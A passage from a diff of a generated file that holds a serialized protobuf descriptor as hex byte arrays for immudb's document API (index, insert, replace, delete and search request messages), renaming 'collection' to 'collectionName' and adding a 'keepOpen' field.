0x03, - 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, - 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, - 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x3a, 0x12, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0xd2, 0x01, 0x0a, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x15, 0x0a, 0x13, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x60, 0x0a, 0x12, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, - 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x3a, - 0x12, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0xd2, 0x01, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x22, 0x15, 0x0a, 0x13, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x83, 0x01, 0x0a, 0x16, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, - 0x74, 0x52, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x3a, 0x12, 0x92, 0x41, - 0x0f, 0x0a, 0x0d, 0xd2, 0x01, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x22, 0x61, 0x0a, 0x17, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, - 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x49, 0x64, 0x73, 0x22, 0x88, 0x01, 0x0a, 0x17, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, - 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, - 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x3a, - 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x22, 0x5a, - 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, - 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, - 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x52, 0x0a, 0x16, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, + 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x88, 0x01, 0x0a, + 0x12, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x66, + 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, + 0x6c, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x3a, + 0x16, 0x92, 0x41, 0x13, 0x0a, 0x11, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x15, 0x0a, 0x13, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x6c, + 0x0a, 0x12, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, + 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, + 0x65, 0x6c, 0x64, 0x73, 0x3a, 0x16, 0x92, 0x41, 0x13, 0x0a, 0x11, 0xd2, 0x01, 0x0e, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x15, 0x0a, 0x13, + 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x8f, 0x01, 0x0a, 0x16, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, + 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, + 0x63, 0x74, 0x52, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x3a, 0x16, 0x92, + 0x41, 0x13, 0x0a, 0x11, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x61, 0x0a, 0x17, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0b, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x22, 0x88, 0x01, 0x0a, 0x17, 0x52, 0x65, 0x70, + 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, - 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x22, 0x19, - 0x0a, 0x17, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xa8, 0x01, 0x0a, 0x16, 0x53, 0x65, - 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, - 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, - 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, - 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x3a, 0x17, 0x92, 0x41, 0x14, - 0x0a, 0x12, 0xd2, 0x01, 0x04, 0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, 0x67, 0x65, - 0x53, 0x69, 0x7a, 0x65, 0x22, 0xc9, 0x01, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, - 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3f, - 0x0a, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x52, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, - 0x35, 0x0a, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x4f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x52, 0x07, 0x6f, - 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x3a, 0x12, 0x92, 0x41, - 0x0f, 0x0a, 0x0d, 0xd2, 0x01, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x22, 0x5c, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, - 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, - 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x52, 0x10, 0x66, 0x69, - 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x22, 0xad, - 0x01, 0x0a, 0x0f, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, - 0x6f, 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, - 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, - 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, - 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x18, 0x92, 0x41, 0x15, 0x0a, 0x13, 0xd2, 0x01, 0x05, 0x66, 0x69, - 0x65, 0x6c, 0x64, 0xd2, 0x01, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x22, 0x4f, - 0x0a, 0x0d, 0x4f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x12, + 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, + 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x71, 0x75, + 0x65, 0x72, 0x79, 0x22, 0x5a, 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, + 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, + 0x52, 0x0a, 0x16, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, + 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, + 0x75, 0x65, 0x72, 0x79, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x71, 0x75, + 0x65, 0x72, 0x79, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xc4, + 0x01, 0x0a, 0x16, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, + 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, + 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, + 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, + 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, + 0x12, 0x1a, 0x0a, 0x08, 0x6b, 0x65, 0x65, 0x70, 0x4f, 0x70, 0x65, 0x6e, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x08, 0x6b, 0x65, 0x65, 0x70, 0x4f, 0x70, 0x65, 0x6e, 0x3a, 0x17, 0x92, 0x41, + 0x14, 0x0a, 0x12, 0xd2, 0x01, 0x04, 0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, 0x67, + 0x65, 0x53, 0x69, 0x7a, 0x65, 0x22, 0xd5, 0x01, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, + 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, + 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x65, 0x78, 0x70, + 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x6f, 0x72, 0x64, 0x65, + 0x72, 0x42, 0x79, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, + 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x52, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x12, + 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, + 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x3a, 0x16, 0x92, 0x41, 0x13, 0x0a, 0x11, 0xd2, 0x01, 0x0e, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x5c, 0x0a, + 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, + 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, + 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x52, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, + 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 